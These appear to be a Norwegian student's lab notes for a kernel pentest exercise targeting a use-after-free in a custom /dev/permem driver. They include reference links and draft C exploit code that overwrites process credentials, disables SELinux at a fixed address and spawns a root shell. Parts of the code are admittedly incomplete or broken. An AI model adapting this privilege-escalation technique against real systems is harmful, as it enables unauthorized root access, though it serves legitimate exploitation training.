# Kernel pentest 290922
Notater
-
Use-After-Free (UAF) is a vulnerability related to incorrect use of dynamic memory during program operation. If after freeing a memory location, a program does not clear the pointer to that memory, an attacker can use the error to hack the program.
-- the dangling pointer will now reference this new data set. In other words, UAF vulnerabilities allow for code substitution.
Potential consequences of UAF exploitation include:
* Data corruption,
* Program crashes,
* Arbitrary code execution
Må svare på
-
- Kort beskrivelse av sårbarheten og hvem som kan trigge sårbarheten:
- sårbarheten kan trigges av alle programmer så lenge man har riktig ID.
- Kode med exploit
- Eventuelt beskrivelse av fremgangsmåte for hva du ikke fikk til
Sårbarheten
-
Sårbarheten er Use-after-free som vil si at dynamisk minne har blitt frigjort uten at pointer til dette minnet har blitt satt til null. Dette fører til at en potensiell angriper kan utnytte det frigjorte minnet med en exploit da alle programmer/personer får tilgang til sårbarheten så lenge man har riktig ID.
Adressen til selinux
-
Gikk inn i

adressen:
ffffff8009681678 B selinux_state
Startet gdb på vmlinux og hentet ut memory address:


Sårbarheten ligger her i permem.c

Til senere:
-
[1] Web exploit: https://www.exploit-db.com/exploits/44053
[2] Likner veldiiig på HighKey-en vår: https://github.com/Trinadh465/device_renesas_kernel_AOSP10_r33_CVE-2021-33034
[3] UAF Android metasploit: https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/android/local/binder_uaf
[4] Kernel exploit for dummies: https://uaf.io/exploitation/misc/2016/09/10/Kernel-Exploitation-for-Dummies.html
[5] Video https://www.youtube.com/watch?v=YGQAvJ__12k
[6] Forklaring på sårbarheten (balckhat): https://www.blackhat.com/docs/eu-16/materials/eu-16-Wen-Use-After-Use-After-Free-Exploit-UAF-By-Generating-Your-Own-wp.pdf#:~:text=For%20%E2%80%9Cuse-after-free%E2%80%9D%20bugs%2C%20the%20exploitation%20process%20is%20largely,in%20%E2%80%9Cuse-after-free%E2%80%9D%20and%20occupied%20with%20controlled%20Vector%20data.
[7] Hvordan syscall funker: https://0xax.gitbooks.io/linux-insides/content/SysCall/linux-syscall-2.html
backup av kode siden vm er klikk:
-
Header.h:
// kopi fra header fra kjerne_vulns ----
#ifndef __HEADER_H
#define __HEADER_H
#include <sys/ioctl.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
//struct må skrives om:
/* hentet fra kjerne_vulns:
struct td_addr {
void* from;
void* to;
size_t size;
};
*/
// Alle structs fra permem:
struct Object {
void* kern_addr;
void* user_addr;
size_t datasize;
struct task_struct* owner;
};
struct obj_file_data {
struct mutex lock_permem;
struct Object** objects;
size_t curr_objects;
size_t curr_space;
uint64_t bitmap;
};
struct user_obj {
void* userptr;
size_t sz;
};
// -------
//fra Perem.c
#define PERMEM_ALLOC_OBJ _IOW(‘q’, 1, struct user_obj)
#define PERMEM_STORE_OBJ _IOW(‘q’, 2, size_t)
#define PERMEM_READ_OBJ _IOWR(‘q’, 3, size_t)
#define PERMEM_FREE_OBJ _IOW(‘q’, 4, size_t)
#define PERMEM_ALLOC_KERN _IOW(‘q’, 5, size_t)
static int xopen(const char* name) {
int fd = open(name, O_RDONLY);
if(fd < 0) {
perror("open");
exit(1);
struct td_addr addr;
uint64_t current, credptr = 0;
uint32_t creds[8] = {0};
int fd = xopen("/dev/permem");
//husker ikke heeelt hvordan man definerer pointers i C
//se på denne:
uint64_t pointer;
if(ioctl(fd, PERMEM_ALLOC_OBJ, ¤t) != 0) {
perror("ioctl");
exit(1);
}
if(ioctl(fd, PERMEM_FREE_OBJ, &pointer) != 0) {
perror("ioctl");
exit(1);
}
//DENNE MÅ VÆRE LIKE STOR SOM MINNEOMRÅDET VI FRIGJØR
malloc(pointer, str);
//Da skal vi i teorien kunne lese ut current, siden funksjonen i
//perem.c kaller på get_current();
//dette er feil syntaks foresten
printf("current = %lx\n", current);
//legger til struct veriene (disse er feil da strukten ikke nødvendigvis er riktig definert over)
addr.from = (void*)(current + OFFSET_CREDS);
addr.to = &credptr;
addr.size = 8;
//Copy paste fra test1.c koden fra kjerne-vulns
//her må vi bare endre alle de LABVULNS funksjonene til å passe
//våre PERMEM funksjoner definert over
//Read, se over at det er riktig fra premem:
log_addr(&addr);
if(ioctl(fd, PERMEM_READ_OBJ, &addr) != 0) {
perror("ioctl");
exit(1);
}
printf("cred @ %lx\n", credptr);
addr.from = creds;
addr.to = (void*)(credptr + 4);
addr.size = sizeof(creds);
//Write, se over at det er riktig fra premem:
log_addr(&addr);
if(ioctl(fd, PERMEM_STORE_OBJ, &addr) != 0) {
perror("ioctl");
exit(1);
}
addr.from = creds;
addr.to = (void*)(SELINUX_STATE + 1);
addr.size = 1;
//Write, se over at det er riktig fra premem:
log_addr(&addr);
if(ioctl(fd, PERMEM_STORE_OBJ, &addr) != 0) {
perror("ioctl");
exit(1);
}
check_root();
return 0;
}
exploit:
#include <sys/ioctl.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
struct Object {
void* kern_addr;
void* user_addr;
size_t datasize;
struct task_struct* owner;
};
#define PERMEM_INCREMENT 8
struct user_obj {
void* userptr;
size_t sz;
};
#define PERMEM_ALLOC_OBJ _IOW('q', 1, struct user_obj)
#define PERMEM_STORE_OBJ _IOW('q', 2, size_t)
#define PERMEM_READ_OBJ _IOWR('q', 3, size_t)
#define PERMEM_FREE_OBJ _IOW('q', 4, size_t)
#define PERMEM_ALLOC_KERN _IOW('q', 5, size_t)
#define CREDS (0x740)
#define SELINUX (0xffffff8009681678)
static int xopen(const char* name) {
int fd = open(name, O_RDONLY);
return fd;
}
static void check_root(void) {
if(getuid() == 0) {
printf("Got root, spawning shell\n");
execl("/bin/sh", "sh", (char *) NULL);
}
}
int main(void) {
struct Object obj0;
struct user_obj user = {
.userptr = &obj0,
.sz = sizeof(obj0)
};
uint64_t current, credptr = 0;
uint32_t creds[8] = {0};
long ptr = 0;
int fd = xopen("/dev/permem");
//Allokerer minnet til objektet
int first = ioctl(fd, PERMEM_ALLOC_OBJ, &user);
int second = ioctl(fd, PERMEM_ALLOC_OBJ, &user);
//Frigjør minneområdet
ioctl(fd, PERMEM_FREE_OBJ, second);
//Allokerer minne for obj2 slik at det havner på minne til obj1
ioctl(fd, PERMEM_ALLOC_KERN, first);
//Hijaker minne med en egen pointer
//denne brukes ikke
//ptr = malloc(sizeof(struct Object));
//Leser ut addressen til structen
ioctl(fd, PERMEM_READ_OBJ, first);
printf("%p\n", obj0.owner);
//Får root tilgang og åpner et shell
//check_root();
return 0;
}